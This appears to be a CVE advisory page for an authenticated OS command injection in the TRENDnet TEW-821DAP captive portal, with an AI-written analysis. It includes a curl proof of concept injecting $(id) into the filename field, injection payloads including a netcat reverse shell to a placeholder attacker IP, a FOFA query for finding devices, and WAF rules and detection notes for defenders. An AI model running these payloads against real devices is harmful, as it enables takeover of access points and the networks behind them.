CVE Professor
/
All CVEs
CVE-2026-142708

CVE-2026-142708 — TRENDnet TEW-821DAP (1.12B01) — CWE-77 · CWE-78

CRITICAL CVSS 9.4 NVD

A flaw has been found in TRENDnet TEW-821DAP 1.12B01. The affected element is the function icp_upload_img of the file /icp_upload_img.cgi of the component Internal Captive Portal. Executing a manipulation of the argument filename can lead to os command injection. The attack may be launched remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

A flaw has been found in TRENDnet TEW-821DAP 1.12B01. The affected element is the function icp_upload_img of the file /icp_upload_img.cgi of the component Internal Captive Portal. Executing a manipulation of the argument filename can lead to os command injection. The attack may be launched remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. High PR:H
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

This vulnerability is a High-Severity OS Command Injection flaw (CWE-78, CWE-77) located in the Internal Captive Portal component of the TRENDnet TEW-821DAP wireless access point.

Technical Breakdown:

  • Vulnerable Endpoint: /icp_upload_img.cgi

  • Vulnerable Function: icp_upload_img

  • Vulnerable Parameter: filename

  • Root Cause: The application accepts user-supplied input via the filename argument and passes it directly to a system shell command (likely cp, mv, or cat) without proper sanitization or escaping.

  • Authentication Context: The CVSS vector specifies PR:H (Privileges Required: High). This indicates that the attacker must possess valid administrative credentials for the device to exploit this flaw. It is not an unauthenticated remote code execution (RCE) vulnerability.

  • Impact: Successful exploitation allows the attacker to execute arbitrary system commands with the privileges of the web server process (typically root or a high-privilege user on embedded Linux systems).
  • ⚡ Attack Chain

    1. Discovery & Reconnaissance

  • Fingerprinting: The attacker identifies the target as a TRENDnet TEW-821DAP running firmware version 1.12B01. This can be achieved via:
  • * Scanning for the default web interface (usually port 80 or 8080). * Checking the Server header or login page HTML for version strings. * Using Nmap scripts (nmap --script http-enum,http-title) to identify the device model.
  • Credential Acquisition: Since PR:H is required, the attacker must first obtain valid admin credentials. This could be achieved via:
  • * Default credentials (if not changed). * Brute-forcing the admin login. * Credential stuffing or phishing. * Exploiting a separate, lower-severity vulnerability to gain initial access.

    2. Exploitation

    Once authenticated, the attacker crafts a malicious HTTP request to the vulnerable CGI script. The filename parameter is manipulated to break out of the intended command context and inject arbitrary shell commands.

    Illustrative PoC (curl):
    Note: The exact syntax of the injected command depends on how the backend constructs the shell command (e.g., cp /tmp/uploaded_file $filename). The following is a generic example of command injection via a filename parameter.

    # Step 1: Authenticate (assuming standard session cookie or basic auth)
    # Replace 'admin:password' with valid credentials
    curl -u 'admin:password' \
      -X POST \
      -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW" \
      --data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="file"; filename="test.jpg"\r\nContent-Type: image/jpeg\r\n\r\nfakeimage\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="filename"\r\n\r\n$(id)\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--' \
      http://<TARGET_IP>/icp_upload_img.cgi

    Alternative Payload (if the parameter is passed directly to a shell):
    If the backend uses a command like cp /tmp/uploaded_file /var/www/html/$filename, the attacker can use shell metacharacters:

  • filename: test.jpg; id

  • filename: test.jpg && whoami

  • filename: test.jpg | nc <ATTACKER_IP> 4444 -e /bin/sh
  • 3. Post-Exploitation

  • Command Execution: The injected command executes with the privileges of the web server process.
  • Reverse Shell: The attacker can establish a reverse shell to gain interactive access to the device's Linux shell.
  • Privilege Escalation: If the web server runs as root (common in embedded devices), the attacker already has full control. If not, they may attempt local privilege escalation.
  • Persistence: The attacker can:
  • * Modify the firmware or configuration files. * Install a rootkit or backdoor. * Alter the captive portal to serve malicious content to connected clients. * Use the compromised AP as a pivot point to attack other devices on the local network.

    🌍 Real World Impact

    CVSS 4.0 Vector Analysis:

  • AV:N (Network): Exploitable remotely over the network.

  • AC:L (Low Complexity): No special conditions required beyond valid credentials.

  • AT:N (No Attack Required): No user interaction needed for the exploit itself (though authentication is required).

  • PR:H (High Privileges): Requires administrative access.

  • UI:N (No User Interaction): No user action required.

  • VC:H, VI:H, VA:H (Confidentiality, Integrity, Availability: High): Complete compromise of the device's data, configuration, and operation.

  • SC:H, SI:H, SA:H (Scope: High): The vulnerability impacts the entire system, not just the web component.

  • E:P (Exploit Maturity: Proof-of-Concept): Exploit code is publicly available.
  • Practical Consequences:
    1. Network Compromise: The TEW-821DAP is a wireless access point. Compromising it allows the attacker to:
    * Sniff all wireless traffic (if WPA2/WPA3 keys are extractable).
    * Launch attacks against other devices on the LAN.
    * Perform man-in-the-middle attacks.
    2. Data Exfiltration: The attacker can access configuration files, user credentials, and any data stored on the device.
    3. Denial of Service: The attacker can reboot the device, corrupt its configuration, or disable the wireless interface.
    4. Botnet Recruitment: The compromised device can be used to participate in DDoS attacks or other malicious activities.

    🛡️ Remediation & Mitigation

    1. Patching

  • Vendor Response: The vendor (TRENDnet) did not respond to the disclosure. No official patch is available.
  • Recommendation: Replace the device. Since no patch exists and the vulnerability is critical with a public exploit, the only secure remediation is to replace the TEW-821DAP with a supported, patched model or a different vendor's device.
  • 2. Workarounds (If Replacement is Not Immediately Possible)

  • Disable the Internal Captive Portal: If the feature is not required, disable it via the web interface or configuration file. This removes the vulnerable endpoint.
  • Restrict Access:
  • * Use a firewall to restrict access to the web interface (ports 80/8080) to trusted management IPs only. * Disable remote management if not needed.
  • Change Default Credentials: Ensure the admin password is strong and unique. This does not fix the vulnerability but raises the barrier for initial access.
  • WAF Rules: Deploy a Web Application Firewall (WAF) to detect and block command injection attempts.
  • Example ModSecurity Rule (Illustrative):

    SecRule REQUEST_URI "@rx /icp_upload_img\.cgi" \
        "id:100001,\
        phase:1,\
        block,\
        msg:'Potential Command Injection in icp_upload_img.cgi',\
        logdata:'%{REQUEST_URI}',\
        severity:2,\
        setvar:tx.blocked_command_injection=1"
    
    SecRule ARGS:filename "@rx [;&|`$()]" \
        "id:100002,\
        phase:2,\
        block,\
        msg:'Command Injection Detected in filename Parameter',\
        logdata:'%{MATCHED_VAR}',\
        severity:2,\
        setvar:tx.blocked_command_injection=1"

    3. Detection

  • Web Server Logs: Monitor for requests to /icp_upload_img.cgi with suspicious filename parameters containing shell metacharacters (;, &, |, ` `, $(, )`).
  • System Logs: Check for unexpected processes spawned by the web server user (e.g., sh, bash, nc, wget).
  • Network Traffic: Monitor for outbound connections from the AP to unusual external IPs or ports, which may indicate a reverse shell or data exfiltration.
  • File Integrity Monitoring (FIM): Monitor critical system files for unauthorized changes.
  • ⚠️ Urgency

    Priority: CRITICAL

  • CVSS Score: 9.4 (Critical)
  • Exploit Availability: Publicly available (E:P)
  • Vendor Support: None (No patch, no response)
  • Impact: Full system compromise, network-level threats.
Action Required: 1. Immediately isolate any TEW-821DAP devices running firmware 1.12B01 from the network. 2. Replace the devices with a supported, patched model. 3. Audit the network for any signs of compromise (unusual traffic, modified configurations). 4. Rotate credentials for any accounts that may have been exposed.

Do not rely on workarounds as a long-term solution. The lack of a vendor patch makes this device a persistent security risk.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="TRENDnet TEW-821DAP"
CVSS Score
9.4 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-77 CWE-78
Affected Products (1)
TRENDnet:TEW-821DAP (1.12B01)
References & Advisories (5)
Related CVEs
9.4
CVE-2026-142709
A vulnerability has been found in TRENDnet TEW-821DAP 1.12B01. The impacted element is an unknown function of
8.7
CVE-2026-142710
A vulnerability was found in TRENDnet TEW-821DAP 1.12B01. This affects the function do_setkey_from_pd of the f
6.9
CVE-2026-142706
A security vulnerability has been detected in TRENDnet TEW-821DAP 1.12B01. This issue affects the function eap
5.3
CVE-2026-142707
A vulnerability was detected in TRENDnet TEW-821DAP 1.12B01. Impacted is the function wlan_profile of the file
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac